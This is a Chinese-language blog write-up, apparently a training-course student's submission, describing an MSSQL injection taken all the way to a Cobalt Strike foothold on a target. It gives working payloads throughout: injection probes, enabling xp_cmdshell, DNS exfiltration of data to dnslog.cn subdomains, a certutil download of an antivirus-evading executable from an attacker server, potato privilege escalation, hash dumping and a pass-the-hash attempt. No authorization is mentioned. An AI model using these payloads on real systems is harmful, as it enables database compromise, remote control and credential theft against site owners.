记一次mssql注入到getshell

  • 记一次mssql注入到getshell已关闭评论
  • 39 views
  • A+
所属分类:安全文章

本文来自宽字节安全第一期学员大头95投稿。第二期线下培训预计十一月底开班,欢迎咨询。

首先判断注入

记一次mssql注入到getshell

很明显的报错注入
判断是否是mssql

powershelladmin' and exists (select * from sysobjects)  and '1'='1
记一次mssql注入到getshell

说明条件为真,如果不是mssql则应该为如下提示:

记一次mssql注入到getshell

判断是否是管理员权限:

powershelladmin' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1
记一次mssql注入到getshell

很明显是管理员权限,堆叠注入开启xp_cmdshell

powershelladmin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; -- q

判断一下能不能执行命令

powershelladmin';exec master..xp_cmdshell "ping d5bbvf.dnslog.cn; -- q

发现是可以执行命令的,好不容易遇到一个管理员权限的站,试一试各种dns外带数据
在允许堆叠注入的情况下,可以通过声明变量来将数据外带

记一次mssql注入到getshell

sqlDECLARE @host varchar(1024);                                        声明变量@host

SELECT @host='ping '+(select db_name())+'.bll6ub.dnslog.cn';        变量赋值

EXEC('master..xp_cmdshell'+'"'[email protected]+'"');                          执行命令
记一次mssql注入到getshell

在不允许堆叠注入的情况也可以将数据通过dns外带带出来,下面来介绍几种

sqland exists(select * from fn_xe_file_target_read_file('C:*.xls','\'+(需要查询的内容)+'.bde3xv.dnslog.cn1.txt',null,null))
记一次mssql注入到getshell
sqland exists(select * from fn_trace_gettable('\'+(select db_name())+'.6bg39e.dnslog.cn1.trc',default))
记一次mssql注入到getshell
sql(select 1 where exists(select * from fn_get_audit_file('\'+(select db_name())+'.71dg9y.dnslog.cn',default,default)))

这些方法在只允许盲注的情况下都可以把数据带出来,当然,也可以像sqlmap一样,将要查询的数据写到创建的表里面,再从表里面查出来。比如我想看看他c盘下有什么文件。为了方便看,bp抓包一波

sqlCREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));创建表cmdtable,字段名id和dir
insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:';   将dir c: 的结果插入dir字段
select top 1 dir from cmdtable where id=2;                      查询字段内容

当然,最后的查询结果在这里只能通过报错或者dns外带出来。完整的语句如下

sqladmin';CREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:';select convert(int,(select top 1 dir from cmdtable where id=10),111); -- 
记一次mssql注入到getshell

接着往下改变id的值就能把c盘的文件都给遍历出来了。接下来就该查一下有没有杀软然后上传exe上线cs了
通过bp遍历发现是有defender的,所以上个免杀的马儿吧

certutil -urlcache -split -f http://vpsip:80/download/file c:usersSBlogin.exe

但是经过多次上传都以失败告终,vps有请求,但是文件没有落上去,我想应该是c盘权限的问题,于是我有去列了一下盘符

wmic logicaldisk where drivetype=3 get deviceid
记一次mssql注入到getshell

发现他还有一个D盘,于是我把我的exe落到了盘目录下再查询,下面再来一条查询指定文件的cmd命令

for /r d: %i in (SBlogin.exe) do @echo %i

当然直接dir d:SBlogin.exe也可以
如果是盲注的情况,通过&&与dns外带也可判断出文件有没有落地

dir d:SBlogin.exe && ping DNS
记一次mssql注入到getshell

上传成功了,那就运行exe上线cs

记一次mssql注入到getshell

服务权限,有SeImpersonatePrivilege这个令牌----->土豆提权

记一次mssql注入到getshell

执行一下SBlogin.exe,提到system权限

记一次mssql注入到getshell

看一下有没有域

wmic computersystem get domain
记一次mssql注入到getshell

没有域,那就dump一波hash用administrator去PTH

记一次mssql注入到getshell

很明显,administrator是空密码,横向不了,拉到了拉到了。

相关推荐: 【XSSI】动态JS劫持用户信息-Webpack+JSONP劫持

动态JS劫持用户信息-Webpack+JSONP劫持作者:key注:本文已对敏感信息脱敏化,如有雷同纯属巧合。前言在做测试的时候发现一个请求:POST /user/getUserInfo HTTP/1.1Host: xxxxxCookie: xxxxticke…